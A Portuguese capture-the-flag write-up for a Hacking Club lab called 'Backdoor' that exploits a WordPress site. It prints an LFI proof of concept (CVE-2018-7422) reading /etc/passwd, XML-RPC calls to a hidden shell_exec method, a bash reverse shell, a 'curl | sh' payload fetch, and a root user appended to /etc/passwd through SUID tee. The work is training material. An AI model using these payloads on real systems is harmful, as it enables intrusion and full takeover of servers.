Você está na página 1de 13

Write-Up - Backdoor

Write-up backdoor

Sobre Hacking Club


Hacking Club é uma plataforma para aprender segurança cibernética, um recurso incrível se você não sabe por onde
começar. Além das máquinas vulneráveis, você tem acesso a aulas e desafios para praticar suas habilidades e acesso a uma
comunidade exclusiva para jogar e se desafiar.

A melhor parte do Hacking Club é que ele é muito prático. Se você é novo em hacking, experimente.

Varredura nmap:
Precisamos saber quais serviços estão sendo executados nos bastidores e quais portas estão abertas. Então, vamos usar
uma ferramenta chamada nmap.

Ports:

Porta 22 - SSH

Porta 80 - HTTP

Porta 111 - RCPBIND

Porta 3306 - MYSQL

Ao acessar a porta 80 temos um cms (Wordpress), olhando o código fonte podemos notar um domínio→ wp.uhclabs.com.

Então teremos que mapear o endereço IP com o nome de domínio, adicionando uma linha no arquivo host, conforme
ilustrado na imagem a seguir.

Write-Up - Backdoor 1
Varredura ffuf:
Usaremos uma ferramenta chamada ffuf, que usa uma lista de palavras existente de possíveis nomes de diretórios comuns e
tentará carregar todos os nomes de diretórios nessa lista de palavras e, então, olhará o código de status. (Se estiver usando
Kali ou ParrotOS, você pode encontrar essas listas de palavras em /usr/share/wordlists/dirbuster ou pode usar as da Seclist )

Write-Up - Backdoor 2
Indo em wp-includes, temos algo interessante → class-wp-xmlrpc-server.php → Registra todos os métodos XMLRPC,
Mas infelizmente não conseguiremos ler.

Write-Up - Backdoor 3
WPscan
WPScan é um software de teste de caixa-preta para escanear possíveis vulnerabilidades em instalações WordPress e seus
complementos.

wpscan --url http://wp.uhclabs.com/ -e ap --plugins-detection aggressive --api-token <TOKEN> -t 200

Após rodar a ferramenta, podemos ver que ele identificou uma vulnerabilidade de LFI no plugin → Site Editor

Write-Up - Backdoor 4
Offensive Security's Exploit Database Archive
Product: Site Editor Wordpress Plugin - https://wordpress.org/plugins/site-editor/ Vendor: Site Editor Tested
version: 1.1.1 CVE ID: CVE-2018-7422 ** CVE description ** A Local File Inclusion vulnerability in the Site
Editor plugin through 1.1.1 for WordPress allows remote attackers to retrieve arbitrary files via the ajax_path
https://www.exploit-db.com/exploits/44340

Poc:

http://<SITE>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

Utilizando a poc do exploit-db, conseguimos ler o passwd.

Agora que temos LFI, podemos tentar ler o arquivo → class-wp-xmlrpc-server.php.

http://wp.uhclabs.com/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/var/

Ao ler o arquivo, temos algo interessante, existe um método chamado shellcommand que é um alias para → shell_exec .

Write-Up - Backdoor 5
Sabendo disso, podemos interagir usando o xmlrpc.

O XML-RPC é um recurso do WordPress que permite que dados sejam transmitidos, com HTTP agindo como mecanismo de
transporte e XML como mecanismo de codificação. Como o WordPress não é um sistema “fechado” e, ocasionalmente,
precisa se comunicar com outros sistemas, esse sistema foi feito para lidar com esse trabalho.
Iremos acessar /xmlrpc.php e interceptaremos com o Burp suite, logo iremos enviar uma requisição via POST

Agora iremos listar o métodos.

Write-Up - Backdoor 6
XML-RPC/system.listMethods " WordPress Codex
system.multicall system.listMethods system.getCapabilities demo.multiplyTwoNumbers demo.addTwoNumbers demo.sayHello pingback.extensions.getPingbacks
pingback.ping mt.publishPost mt.getTrackbackPings mt.supportedTextFilters mt.supportedMethods mt.setPostCategories mt.getPostCategories
mt.getRecentPostTitles mt.getCategoryList metaWeblog.getUsersBlogs metaWeblog.setTemplate metaWeblog.getTemplate metaWeblog.deletePost
https://codex.wordpress.org/XML-RPC/system.listMethods

E como podemos ver, ele não aceita listar os métodos, mas como já sabemos que existe um método chamado shellcommand,
podemos interagir diretamente com ele.

E como podemos ver no response, ele espera um valor, que tem que ser do tipo string.
Sabendo disso iremos passar a string id

<methodCall>
<methodName>shellcommand</methodName>
<params>
<value>
<string>
id
</string>
</value>
</params>
</methodCall>

Write-Up - Backdoor 7
E temos o output do comando id , agora podemos enviar uma payload de reverse shell utilizando o curl
shell.sh:

#!/bin/bash

/bin/bash -c 'bash -i >& /dev/tcp/<IP-VPN>/443 0>&1'

Ouvinte do netcat para receber a conexão:

Servidor python para servir nossa reverse shell:

Write-Up - Backdoor 8
Agora iremos enviar:

<methodCall>
<methodName>shellcommand</methodName>
<params>
<value>
<string>
curl <IP-VPN>/shell.sh|sh
</string>
</value>
</params>
</methodCall>

E temos shell =)

Write-Up - Backdoor 9
Shell tty
Atualizando shell simples para TTYs totalmente interativos.

python -c "import pty;pty.spawn('/bin/bash')"

Ctrl+Z

stty raw -echo;fg

Enter

export TERM=xterm

Indo na raiz / podemos pegar a nossa primeira flag.

Write-Up - Backdoor 10
Privesc
Procurando por binários com SUID , temos o binário tee

SUID é uma permissão especial que permite que outros usuários executem com os privilégios do proprietário.

find / -perm /4000 2>/dev/null

Gtfobins

Write-Up - Backdoor 11
Tee → Ele grava dados em arquivos, pode ser usado para fazer gravações privilegiadas ou gravar arquivos fora de um

sistema de arquivos restrito.

Sabendo disso, irei adicionar um usuário no /etc/passwd


OpenSSL passwd calculará o hash da senha fornecida:

openssl passwd -1

Na imagem abaixo, você pode observar que, eu atribuí uid: 0 e gid: 0 e o diretório inicial /root/root, portanto, demos privilégio
de root ao nosso user:

user:$1$CZG1o8iZ$VZRxQu2xJ35Td9ID/LGsA.:0:0:root:/root:/bin/bash

Agora iremos escrever no /etc/passwd:

LFILE=/etc/passwd

echo 'user:<hash>:0:0:root:/root:/bin/bash' | tee -a "$LFILE"

Executando o comando cat no /etc/passwd veremos que nosso usuário foi adicionado.

Write-Up - Backdoor 12
Agora é só logar com esse usuário e ler a última flag =)

Write-Up - Backdoor 13

Você também pode gostar